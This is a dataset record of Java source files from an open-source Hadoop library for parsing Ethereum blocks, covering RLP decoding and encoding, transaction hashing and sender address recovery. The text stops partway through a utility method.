repo
stringclasses
1k values
file_url
stringlengths
96
373
file_path
stringlengths
11
294
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
6 values
commit_sha
stringclasses
1k values
retrieved_at
stringdate
2026-01-04 14:45:56
2026-01-04 18:30:23
truncated
bool
2 classes
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockReader.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockReader.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.BufferedInputStream; import java.io.IOException; import java.io.InputStream; import java.io.Serializable; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.ArrayList; import java.util.List; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPElement; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPList; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPObject; import org.zuinnote.hadoop.ethereum.format.exception.EthereumBlockReadException; /** * This class parses Ethereum RLP-encoded blocks * */ public class EthereumBlockReader implements Serializable{ private static final Log LOG = LogFactory.getLog(EthereumBlockReader.class.getName()); private InputStream in; private int bufferSize; private int maxSizeEthereumBlock; private boolean useDirectBuffer; private ByteBuffer preAllocatedDirectByteBuffer; /** * * */ private EthereumBlockReader() { } /** * * Initialize a reader * * @param in InputStream containing Ethereum blocks * @param maxSizeEthereumBlock maximum size of an Ethereum block for processing. This is to avoid misinterpretation or overflows when reading blocks (cf. also gas limit, https://github.com/ethereum/wiki/wiki/Design-Rationale#gas-and-fees) * @param bufferSize read Buffer size. If set to 0 then the InputStream passsed as a parameter will be used * @param useDirectBuffer experimental feature to use a DirectByteBuffer instead of a HeapByteBuffer * */ public EthereumBlockReader(InputStream in, int maxSizeEthereumBlock, int bufferSize, boolean useDirectBuffer) { this.bufferSize=bufferSize; this.maxSizeEthereumBlock=maxSizeEthereumBlock; this.useDirectBuffer=useDirectBuffer; if (this.bufferSize<=0) { this.in=in; } else { this.in=new BufferedInputStream(in, this.bufferSize); } if (this.useDirectBuffer) { // in case of a DirectByteBuffer we do allocation only once for the maximum size of one block, otherwise we will have a high cost for reallocation this.preAllocatedDirectByteBuffer=ByteBuffer.allocateDirect(this.maxSizeEthereumBlock); } } /* * * Read a block into a Java object of the class Ethereum Block. This makes analysis very easy, but might be slower for some type of analytics where you are only interested in small parts of the block. In this case it is recommended to use {@link #readRawBlock} * Basically, one raw Ethereum Block contains an RLP encoded list, which is parsed into processable Java objects * * @return */ public EthereumBlock readBlock() throws IOException, EthereumBlockReadException { ByteBuffer rawBlock = this.readRawBlock(); if (rawBlock==null) { return null; } RLPObject blockObject = EthereumUtil.rlpDecodeNextItem(rawBlock); if ((blockObject==null) || (!(blockObject instanceof RLPList))){ throw new EthereumBlockReadException("Invalid Ethereum Block: Not encoded RLPList"); } RLPList block = (RLPList)blockObject; // block header RLPList rlpHeader = (RLPList) block.getRlpList().get(0); // transactions RLPList rlpTransactions = (RLPList) block.getRlpList().get(1); // uncles RLPList rlpUncles = (RLPList) block.getRlpList().get(2); //// create header object EthereumBlockHeader ethereumBlockHeader = parseRLPBlockHeader(rlpHeader); List<EthereumTransaction> ethereumTransactions = parseRLPTransactions(rlpTransactions); List<EthereumBlockHeader> uncleHeaders = parseRLPUncleHeaders(rlpUncles); return new EthereumBlock(ethereumBlockHeader,ethereumTransactions,uncleHeaders); } /*** * Parses an RLP encoded Ethereum block header into a Java object * * @param rlpHeader RLP encoded ethereum block header * @return object of type Ethereum Block Header */ private EthereumBlockHeader parseRLPBlockHeader(RLPList rlpHeader) { EthereumBlockHeader result = new EthereumBlockHeader(); result.setParentHash(((RLPElement) rlpHeader.getRlpList().get(0)).getRawData()); result.setUncleHash(((RLPElement) rlpHeader.getRlpList().get(1)).getRawData()); result.setCoinBase(((RLPElement) rlpHeader.getRlpList().get(2)).getRawData()); result.setStateRoot(((RLPElement) rlpHeader.getRlpList().get(3)).getRawData()); result.setTxTrieRoot(((RLPElement) rlpHeader.getRlpList().get(4)).getRawData()); result.setReceiptTrieRoot(((RLPElement) rlpHeader.getRlpList().get(5)).getRawData()); result.setLogsBloom(((RLPElement) rlpHeader.getRlpList().get(6)).getRawData()); result.setDifficulty(((RLPElement) rlpHeader.getRlpList().get(7)).getRawData()); result.setNumberRaw(((RLPElement) rlpHeader.getRlpList().get(8)).getRawData()); result.setGasLimitRaw(((RLPElement) rlpHeader.getRlpList().get(9)).getRawData()); result.setGasUsedRaw(((RLPElement) rlpHeader.getRlpList().get(10)).getRawData()); result.setTimestamp(EthereumUtil.convertVarNumberToLong(((RLPElement) rlpHeader.getRlpList().get(11)))); result.setExtraData(((RLPElement) rlpHeader.getRlpList().get(12)).getRawData()); result.setMixHash(((RLPElement) rlpHeader.getRlpList().get(13)).getRawData()); result.setNonce(((RLPElement) rlpHeader.getRlpList().get(14)).getRawData()); return result; } /*** * Parses an RLP encoded list of transactions into a list of Java objects of type EthereumTransaction * * @param rlpTransactions RLP encoded list of transactions * @return List with Java objects of type EthereumTransaction */ private List<EthereumTransaction> parseRLPTransactions(RLPList rlpTransactions) { ArrayList<EthereumTransaction> result = new ArrayList<>(rlpTransactions.getRlpList().size()); for (int i=0;i<rlpTransactions.getRlpList().size();i++) { RLPList currenTransactionRLP = (RLPList) rlpTransactions.getRlpList().get(i); EthereumTransaction currentTransaction = new EthereumTransaction(); currentTransaction.setNonce(((RLPElement)currenTransactionRLP.getRlpList().get(0)).getRawData()); currentTransaction.setGasPriceRaw(((RLPElement)currenTransactionRLP.getRlpList().get(1)).getRawData()); currentTransaction.setGasLimitRaw(((RLPElement)currenTransactionRLP.getRlpList().get(2)).getRawData()); currentTransaction.setReceiveAddress(((RLPElement)currenTransactionRLP.getRlpList().get(3)).getRawData()); currentTransaction.setValueRaw(((RLPElement)currenTransactionRLP.getRlpList().get(4)).getRawData()); currentTransaction.setData(((RLPElement)currenTransactionRLP.getRlpList().get(5)).getRawData()); if (((RLPElement)currenTransactionRLP.getRlpList().get(6)).getRawData().length>0) { currentTransaction.setSig_v(((RLPElement)currenTransactionRLP.getRlpList().get(6)).getRawData()); currentTransaction.setSig_r(((RLPElement)currenTransactionRLP.getRlpList().get(7)).getRawData()); currentTransaction.setSig_s(((RLPElement)currenTransactionRLP.getRlpList().get(8)).getRawData()); } result.add(currentTransaction); } return result; } private List<EthereumBlockHeader> parseRLPUncleHeaders(RLPList rlpUncles) { ArrayList<EthereumBlockHeader> result = new ArrayList<>(rlpUncles.getRlpList().size()); for (int i=0;i<rlpUncles.getRlpList().size();i++) { RLPList currentUncleRLP = (RLPList) rlpUncles.getRlpList().get(i); EthereumBlockHeader currentUncle = this.parseRLPBlockHeader(currentUncleRLP); result.add(currentUncle); } return result; } /* * Reads a raw Ethereum block into a ByteBuffer. This method is recommended if you are only interested in a small part of the block and do not need the deserialization of the full block, ie in case you generally skip a lot of blocks * * @return */ public ByteBuffer readRawBlock() throws IOException, EthereumBlockReadException { // basically an Ethereum Block is simply a RLP encoded list ByteBuffer result=null; // get size of list this.in.mark(10); byte[] listHeader = new byte[10]; int totalRead = 0; int bRead=this.in.read(listHeader); if (bRead == -1) { // no further block to read return result; } else { totalRead += bRead; while (totalRead < 10) { bRead=this.in.read(listHeader, totalRead, 10 - totalRead); if (bRead == -1) { throw new EthereumBlockReadException("Error: Not enough block data available: " + String.valueOf(bRead)); } totalRead += bRead; } } ByteBuffer sizeByteBuffer=ByteBuffer.wrap(listHeader); long blockSize = EthereumUtil.getRLPListSize(sizeByteBuffer); // gets block size including indicator this.in.reset(); // check if blockSize is valid if (blockSize==0) { throw new EthereumBlockReadException("Error: Blocksize too small"); } if (blockSize<0) { throw new EthereumBlockReadException("Error: This block size cannot be handled currently (larger then largest number in positive signed int)"); } if (blockSize>this.maxSizeEthereumBlock) { throw new EthereumBlockReadException("Error: Block size is larger then defined in configuration - Please increase it if this is a valid block"); } // read block int blockSizeInt=(int)(blockSize); byte[] fullBlock=new byte[blockSizeInt]; int totalByteRead=0; int readByte; while ((readByte=this.in.read(fullBlock,totalByteRead,blockSizeInt-totalByteRead))>-1) { totalByteRead+=readByte; if (totalByteRead>=blockSize) { break; } } if (totalByteRead!=blockSize) { throw new EthereumBlockReadException("Error: Could not read full block"); } if (!(this.useDirectBuffer)) { result=ByteBuffer.wrap(fullBlock); } else { preAllocatedDirectByteBuffer.clear(); // clear out old bytebuffer preAllocatedDirectByteBuffer.limit(fullBlock.length); // limit the bytebuffer result=preAllocatedDirectByteBuffer; result.put(fullBlock); result.flip(); // put in read mode } result.order(ByteOrder.LITTLE_ENDIAN); return result; } /** * Closes the Ethereum Block reader * */ public void close() throws IOException { if (this.in!=null) { this.in.close(); } } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockWritable.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumBlockWritable.java
/** * Copyright 2021 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.DataInput; import java.io.DataOutput; import java.io.IOException; import java.io.Serializable; import java.util.List; import org.apache.hadoop.io.Writable; public class EthereumBlockWritable extends EthereumBlock implements Writable { @Override public void write(DataOutput out) throws IOException { throw new UnsupportedOperationException("write unsupported"); } @Override public void readFields(DataInput in) throws IOException { throw new UnsupportedOperationException("readFields unsupported"); } }
java
Apache-2.0
b2df90b216a6024b3179c3afaa6f2bcfc975784c
2026-01-05T02:40:55.994732Z
false
ZuInnoTe/hadoopcryptoledger
https://github.com/ZuInnoTe/hadoopcryptoledger/blob/b2df90b216a6024b3179c3afaa6f2bcfc975784c/inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumUtil.java
inputformat/src/main/java/org/zuinnote/hadoop/ethereum/format/common/EthereumUtil.java
/** * Copyright 2017 ZuInnoTe (Jörn Franke) <zuinnote@gmail.com> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. **/ package org.zuinnote.hadoop.ethereum.format.common; import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import javax.xml.bind.DatatypeConverter; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.bouncycastle.asn1.sec.SECNamedCurves; import org.bouncycastle.asn1.x9.X9ECParameters; import org.bouncycastle.asn1.x9.X9IntegerConverter; import org.bouncycastle.crypto.params.ECDomainParameters; import org.bouncycastle.jcajce.provider.digest.Keccak; import org.bouncycastle.math.ec.ECAlgorithms; import org.bouncycastle.math.ec.ECCurve; import org.bouncycastle.math.ec.ECPoint; import org.zuinnote.hadoop.bitcoin.format.common.BitcoinUtil; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPElement; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPList; import org.zuinnote.hadoop.ethereum.format.common.rlp.RLPObject; /** * * */ public class EthereumUtil implements EthereumTransactionInterface { public static final int RLP_OBJECTTYPE_INVALID = -1; public static final int RLP_OBJECTTYPE_ELEMENT = 0; public static final int RLP_OBJECTTYPE_LIST = 1; public static final int CHAIN_ID_INC = 35; // EIP-255, chainId encoded in V public static final int LOWER_REAL_V = 27; // EIP-255, chainId encoded in V public static final int HASH_SIZE = 256; public static final int LONG_SIZE=8; // Size of a long in Ethereum public static final int INT_SIZE=4; // Size of an integer in Ethereum public static final int WORD_SIZE=2; // Size of a word in Ethereum public static final byte[] EMPTY_BYTE_ARRAY= new byte[0]; private static final Log LOG = LogFactory.getLog(EthereumUtil.class.getName()); /** RLP functionality for Ethereum: https://github.com/ethereum/wiki/wiki/RLP **/ /** * Read RLP data from a Byte Buffer. * * @param bb ByteBuffer from which to read the RLP data * @return RLPObject (e.g. RLPElement or RLPList) containing RLP data */ public static RLPObject rlpDecodeNextItem(ByteBuffer bb) { // detect object type RLPObject result=null; int objType = detectRLPObjectType(bb); switch (objType) { case EthereumUtil.RLP_OBJECTTYPE_ELEMENT: result=EthereumUtil.decodeRLPElement(bb); break; case EthereumUtil.RLP_OBJECTTYPE_LIST: result=EthereumUtil.decodeRLPList(bb); break; default: LOG.error("Unknown object type"); } return result; } /** * Detects the object type of an RLP encoded object. Note that it does not modify the read position in the ByteBuffer. * * * @param bb ByteBuffer that contains RLP encoded object * @return object type: EthereumUtil.RLP_OBJECTTYPE_ELEMENT or EthereumUtil.RLP_OBJECTTYPE_LIST or EthereumUtil.RLP_OBJECTTYPE_INVALID */ public static int detectRLPObjectType(ByteBuffer bb) { bb.mark(); byte detector = bb.get(); int unsignedDetector=detector & 0xFF; int result = EthereumUtil.RLP_OBJECTTYPE_INVALID; if (unsignedDetector<=0x7f) { result=EthereumUtil.RLP_OBJECTTYPE_ELEMENT; } else if ((unsignedDetector>=0x80) && (unsignedDetector<=0xb7)) { result=EthereumUtil.RLP_OBJECTTYPE_ELEMENT; } else if ((unsignedDetector>=0xb8) && (unsignedDetector<=0xbf)) { result=EthereumUtil.RLP_OBJECTTYPE_ELEMENT; } else if ((unsignedDetector>=0xc0) && (unsignedDetector<=0xf7)) { result=EthereumUtil.RLP_OBJECTTYPE_LIST; } else if ((unsignedDetector>=0xf8) && (unsignedDetector<=0xff)) { result=EthereumUtil.RLP_OBJECTTYPE_LIST; } else { result=EthereumUtil.RLP_OBJECTTYPE_INVALID; LOG.error("Invalid RLP object type. Internal error or not RLP Data"); } bb.reset(); return result; } private static long convertIndicatorToRLPSize(byte[] indicator) { byte[] rawDataNumber= Arrays.copyOfRange(indicator, 1, indicator.length); rawDataNumber=EthereumUtil.reverseByteArray(rawDataNumber); long RLPSize = 0; for (int i=0;i<rawDataNumber.length;i++) { RLPSize += (rawDataNumber[i] & 0xFF) * Math.pow(256, i); } return RLPSize; } /* * Decodes an RLPElement from the given ByteBuffer * * @param bb Bytebuffer containing an RLPElement * * @return RLPElement in case the byte stream represents a valid RLPElement, null if not * */ private static RLPElement decodeRLPElement(ByteBuffer bb) { RLPElement result=null; byte firstByte = bb.get(); int firstByteUnsigned = firstByte & 0xFF; if (firstByteUnsigned <= 0x7F) { result=new RLPElement(new byte[] {firstByte},new byte[] {firstByte}); } else if ((firstByteUnsigned>=0x80) && (firstByteUnsigned<=0xb7)) { // read indicator byte[] indicator=new byte[]{firstByte}; int noOfBytes = firstByteUnsigned - 0x80; // read raw data byte[] rawData = new byte[noOfBytes]; if (noOfBytes > 0) { bb.get(rawData); } result=new RLPElement(indicator,rawData); } else if ((firstByteUnsigned>=0xb8) && (firstByteUnsigned<=0xbf)) { // read size of indicator (size of the size) int NoOfBytesSize = firstByteUnsigned-0xb7; byte[] indicator = new byte[NoOfBytesSize+1]; indicator[0]=firstByte; bb.get(indicator, 1, NoOfBytesSize); long noOfBytes = convertIndicatorToRLPSize(indicator); // read the data byte[] rawData=new byte[(int) noOfBytes]; bb.get(rawData); result= new RLPElement(indicator,rawData); } else { result=null; } return result; } public static byte[] encodeRLPElement(byte[] rawData) { byte[] result=null; if ((rawData==null) || (rawData.length==0)) { return new byte[] {(byte) 0x80}; } else if (rawData.length<=55) { if ((rawData.length==1) && (((int)rawData[0]&0xFF)<=0x7F)) { return new byte[] {(byte) (rawData[0])}; } result=new byte[rawData.length+1]; result[0]=(byte) (0x80+rawData.length); for (int i=0;i<rawData.length;i++) { result[i+1]=rawData[i]; } } else { ByteBuffer bb = ByteBuffer.allocate(4); bb.order(ByteOrder.LITTLE_ENDIAN); bb.putInt(rawData.length); byte[] intArray = bb.array(); int intSize=0; for (int i=0;i<intArray.length;i++) { if (intArray[i]==0) { break; } else { intSize++; } } result = new byte[1+intSize+rawData.length]; result[0]=(byte) (0xb7+intSize); byte[] rawDataNumber= Arrays.copyOfRange(intArray, 0, intSize); rawDataNumber=EthereumUtil.reverseByteArray(rawDataNumber); for (int i=0;i<rawDataNumber.length;i++) { result[1+i]=rawDataNumber[i]; } for (int i=0;i<rawData.length;i++) { result[1+intSize+i]=rawData[i]; } } return result; } private static byte[] encodeRLPList(List<byte[]> rawElementList) { byte[] result; int totalSize=0; if ((rawElementList==null) || (rawElementList.size()==0)) { return new byte[] {(byte) 0xc0}; } for (int i=0;i<rawElementList.size();i++) { totalSize+=rawElementList.get(i).length; } int currentPosition=0; if (totalSize<=55) { result = new byte[1+totalSize]; result[0]=(byte) (0xc0+totalSize); currentPosition=1; } else { ByteBuffer bb = ByteBuffer.allocate(4); bb.order(ByteOrder.LITTLE_ENDIAN); bb.putInt(totalSize); byte[] intArray = bb.array(); int intSize=0; for (int i=0;i<intArray.length;i++) { if (intArray[i]==0) { break; } else { intSize++; } } result = new byte[1+intSize+totalSize]; result[0]=(byte) (0xf7+intSize); byte[] rawDataNumber= Arrays.copyOfRange(intArray, 0, intSize); rawDataNumber=EthereumUtil.reverseByteArray(rawDataNumber); for (int i=0;i<rawDataNumber.length;i++) { result[1+i]=rawDataNumber[i]; } currentPosition=1+intSize; } // copy list items for (int i=0;i<rawElementList.size();i++) { byte[] currentElement=rawElementList.get(i); for (int j=0;j<currentElement.length;j++) { result[currentPosition]=currentElement[j]; currentPosition++; } } return result; } /** * Determines the size of a RLP list. Note: it does not change the position in the ByteBuffer * * @param bb * @return -1 if not an RLP encoded list, otherwise size of list INCLUDING the prefix of the list (e.g. byte that indicates that it is a list and size of list in bytes) in bytes */ public static long getRLPListSize(ByteBuffer bb) { long result=-1; bb.mark(); byte detector = bb.get(); int unsignedDetector=detector & 0xFF; if ((unsignedDetector>=0xc0) && (unsignedDetector<=0xf7)) { result=unsignedDetector; // small list } else if ((unsignedDetector>=0xf8) && (unsignedDetector<=0xff)) { // the first byte // large list // read size of indicator (size of the size) int noOfBytesSize = unsignedDetector-0xf7; byte[] indicator = new byte[noOfBytesSize+1]; indicator[0]=detector; bb.get(indicator, 1, noOfBytesSize); result=indicator.length + convertIndicatorToRLPSize(indicator); } bb.reset(); return result; } /* * Decodes an RLPList from the given ByteBuffer. This list may contain further RLPList and RLPElements that are decoded as well * * @param bb Bytebuffer containing an RLPList * * @return RLPList in case the byte stream represents a valid RLPList, null if not * */ private static RLPList decodeRLPList(ByteBuffer bb) { byte firstByte = bb.get(); int firstByteUnsigned = firstByte & 0xFF; long payloadSize=-1; if ((firstByteUnsigned>=0xc0) && (firstByteUnsigned<=0xf7)) { // length of the list in bytes int offsetSmallList = 0xc0 & 0xff; payloadSize=(long)(firstByteUnsigned) - offsetSmallList; } else if ((firstByteUnsigned>=0xf8) && (firstByteUnsigned<=0xff)) { // read size of indicator (size of the size) int noOfBytesSize = firstByteUnsigned-0xf7; byte[] indicator = new byte[noOfBytesSize+1]; indicator[0]=firstByte; bb.get(indicator, 1, noOfBytesSize); // read the size of the data payloadSize = convertIndicatorToRLPSize(indicator); } else { LOG.error("Invalid RLP encoded list detected"); } ArrayList<RLPObject> payloadList=new ArrayList<>(); if (payloadSize>0) { byte[] payload=new byte[(int) payloadSize]; bb.get(payload); ByteBuffer payloadBB=ByteBuffer.wrap(payload); while(payloadBB.remaining()>0) { switch (EthereumUtil.detectRLPObjectType(payloadBB)) { case EthereumUtil.RLP_OBJECTTYPE_ELEMENT: payloadList.add(EthereumUtil.decodeRLPElement(payloadBB)); break; case EthereumUtil.RLP_OBJECTTYPE_LIST: payloadList.add(EthereumUtil.decodeRLPList(payloadBB)); break; default: LOG.error("Unknown object type"); } } } return new RLPList(payloadList); } /*** Ethereum-specific functionaloity **/ /** * Calculates the chain Id * * @param eTrans Ethereum Transaction of which the chain id should be calculated * @return chainId: 0, Ethereum testnet (aka Olympic); 1: Ethereum mainet (aka Frontier, Homestead, Metropolis) - also Classic (from fork) -also Expanse (alternative Ethereum implementation), 2 Morden (Ethereum testnet, now Ethereum classic testnet), 3 Ropsten public cross-client Ethereum testnet, 4: Rinkeby Geth Ethereum testnet, 42 Kovan, public Parity Ethereum testnet, 7762959 Musicoin, music blockchain */ public static Long calculateChainId(EthereumTransaction eTrans) { Long result=null; long rawResult=EthereumUtil.convertVarNumberToLong(new RLPElement(new byte[0],eTrans.getSig_v())); if (!((rawResult == EthereumUtil.LOWER_REAL_V) || (rawResult== (LOWER_REAL_V+1)))) { result = (rawResult-EthereumUtil.CHAIN_ID_INC)/2; } return result; } /*** * Calculates the hash of a transaction. Note this requires that you have Bouncy castle as a dependency in your project * * @param eTrans transaction * @return transaction hash as KECCAK-256 */ public static byte[] getTransactionHash(EthereumTransaction eTrans) { ArrayList<byte[]> rlpTransaction = new ArrayList<>(); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getNonce())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasPriceRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasLimitRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getReceiveAddress())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getValueRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getData())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getSig_v())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getSig_r())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getSig_s())); byte[] transEnc = EthereumUtil.encodeRLPList(rlpTransaction); Keccak.Digest256 digest = new Keccak.Digest256(); digest.update(transEnc,0,transEnc.length); return digest.digest(); } /*** * Calculates the hash of a transaction without signature. Note this requires that you have Bouncy castle as a dependency in your project * * @param eTrans transaction * @return transaction hash as KECCAK-256 */ public static byte[] getTransactionHashWithoutSignature(EthereumTransaction eTrans) { ArrayList<byte[]> rlpTransaction = new ArrayList<>(); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getNonce())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasPriceRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasLimitRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getReceiveAddress())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getValueRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getData())); byte[] transEnc = EthereumUtil.encodeRLPList(rlpTransaction); Keccak.Digest256 digest = new Keccak.Digest256(); digest.update(transEnc,0,transEnc.length); return digest.digest(); } /*** * Calculates the hash of a transaction with dummy signature based on EIP-155 (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md). Note this requires that you have Bouncy castle as a dependency in your project * * @param eTrans transaction * * @return transaction hash as KECCAK-256 */ public static byte[] getTransactionHashWithDummySignatureEIP155(EthereumTransaction eTrans) { ArrayList<byte[]> rlpTransaction = new ArrayList<>(); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getNonce())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasPriceRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getGasLimitRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getReceiveAddress())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getValueRaw())); rlpTransaction.add(EthereumUtil.encodeRLPElement(eTrans.getData())); rlpTransaction.add(EthereumUtil.encodeRLPElement(new byte[] {(byte) ((eTrans.getSig_v()[0]-EthereumUtil.CHAIN_ID_INC)/2)})); rlpTransaction.add(EthereumUtil.encodeRLPElement(EthereumUtil.EMPTY_BYTE_ARRAY)); rlpTransaction.add(EthereumUtil.encodeRLPElement(EthereumUtil.EMPTY_BYTE_ARRAY)); byte[] transEnc = EthereumUtil.encodeRLPList(rlpTransaction); Keccak.Digest256 digest = new Keccak.Digest256(); digest.update(transEnc,0,transEnc.length); return digest.digest(); } /** * Calculates the sent address of an EthereumTransaction. Note this can be a costly operation to calculate. . This requires that you have Bouncy castle as a dependency in your project * * * @param eTrans transaction * @param chainId chain identifier (e.g. 1 main net) * @return sent address as byte array */ public static byte[] getSendAddress(EthereumTransaction eTrans, int chainId) { // init, maybe we move this out to save time X9ECParameters params = SECNamedCurves.getByName("secp256k1"); ECDomainParameters CURVE=new ECDomainParameters(params.getCurve(), params.getG(), params.getN(), params.getH()); // needed for getSentAddress byte[] transactionHash; if ((eTrans.getSig_v()[0]==chainId*2+EthereumUtil.CHAIN_ID_INC) || (eTrans.getSig_v()[0]==chainId*2+EthereumUtil.CHAIN_ID_INC+1)) { // transaction hash with dummy signature data transactionHash = EthereumUtil.getTransactionHashWithDummySignatureEIP155(eTrans); } else { // transaction hash without signature data transactionHash = EthereumUtil.getTransactionHashWithoutSignature(eTrans); } // signature to address BigInteger bR = new BigInteger(1,eTrans.getSig_r()); BigInteger bS = new BigInteger(1,eTrans.getSig_s()); // calculate v for signature byte v =(byte) (eTrans.getSig_v()[0]); if (!((v == EthereumUtil.LOWER_REAL_V) || (v== (LOWER_REAL_V+1)))) { byte vReal = EthereumUtil.LOWER_REAL_V; if (((int)v%2 == 0)) { v = (byte) (vReal+0x01); } else { v = vReal; } } // the following lines are inspired from ECKey.java of EthereumJ, but adapted to the hadoopcryptoledger context if (v < 27 || v > 34) { LOG.error("Header out of Range: "+v); throw new RuntimeException("Header out of range "+v); } if (v>=31) { v -=4; } int receiverId = v - 27; BigInteger n = CURVE.getN(); BigInteger i = BigInteger.valueOf((long) receiverId / 2); BigInteger x = bR.add(i.multiply(n)); ECCurve.Fp curve = (ECCurve.Fp) CURVE.getCurve(); BigInteger prime = curve.getQ(); if (x.compareTo(prime) >= 0) { return null; } // decompress Key X9IntegerConverter x9 = new X9IntegerConverter(); byte[] compEnc = x9.integerToBytes(x, 1 + x9.getByteLength(CURVE.getCurve())); boolean yBit=(receiverId & 1) == 1; compEnc[0] = (byte)(yBit ? 0x03 : 0x02); ECPoint R = CURVE.getCurve().decodePoint(compEnc); if (!R.multiply(n).isInfinity()) { return null; } BigInteger e = new BigInteger(1,transactionHash); BigInteger eInv = BigInteger.ZERO.subtract(e).mod(n); BigInteger rInv = bR.modInverse(n); BigInteger srInv = rInv.multiply(bS).mod(n); BigInteger eInvrInv = rInv.multiply(eInv).mod(n); ECPoint.Fp q = (ECPoint.Fp) ECAlgorithms.sumOfTwoMultiplies(CURVE.getG(), eInvrInv, R, srInv); byte[] pubKey=q.getEncoded(false); // now we need to convert the public key into an ethereum send address which is the last 20 bytes of 32 byte KECCAK-256 Hash of the key. Keccak.Digest256 digest256 = new Keccak.Digest256(); digest256.update(pubKey,1,pubKey.length-1); byte[] kcck = digest256.digest(); return Arrays.copyOfRange(kcck,12,kcck.length); } /** Data types conversions for Ethereum **/ /*** * Converts a variable size number (e.g. byte,short,int,long) in a RLPElement to long * * @param rpe RLPElement containing a number * @return number as long or null if not a correct number */ public static BigInteger convertVarNumberToBigInteger(RLPElement rpe) { return convertVarNumberToBigInteger(rpe.getRawData()); } /*** * Converts a variable size number (e.g. byte,short,int,long) in a RLPElement to long * * @param rawData byte array containing variable number * @return number as long or null if not a correct number */ public static BigInteger convertVarNumberToBigInteger(byte[] rawData) { BigInteger result=BigInteger.ZERO; if (rawData!=null) { if (rawData.length>0) { result = new BigInteger(1,rawData); // we know it is always positive } } return result; } /*** * Converts a variable size number (e.g. byte,short,int,long) in a RLPElement to long * * @param rpe RLPElement containing a number * @return number as long or null if not a correct number */ public static Long convertVarNumberToLong(RLPElement rpe) { Long result=0L; if (rpe.getRawData()!=null) { if (rpe.getRawData().length==0) { result=0L; } else if (rpe.getRawData().length<2) { result=(long) EthereumUtil.convertToByte(rpe); } else if (rpe.getRawData().length<3) { result = (long) EthereumUtil.convertToShort(rpe); } else if (rpe.getRawData().length<5) { result=(long) EthereumUtil.convertToInt(rpe); } else if (rpe.getRawData().length<9) { result=EthereumUtil.convertToLong(rpe); } } return result; } /** * Converts a byte in a RLPElement to byte * * @param rpe RLP element containing a raw byte * @return short (=unsigned byte) */ public static Short convertToByte(RLPElement rpe) { Short result=0; if ((rpe.getRawData()!=null) || (rpe.getRawData().length==1)) { result=(short) ( rpe.getRawData()[0] & 0xFF); } return result; } /** * Converts a short in a RLPElement to short * * @param rpe RLP element containing a raw short * @return Integer (unsigned short) or null if not short */ public static Integer convertToShort(RLPElement 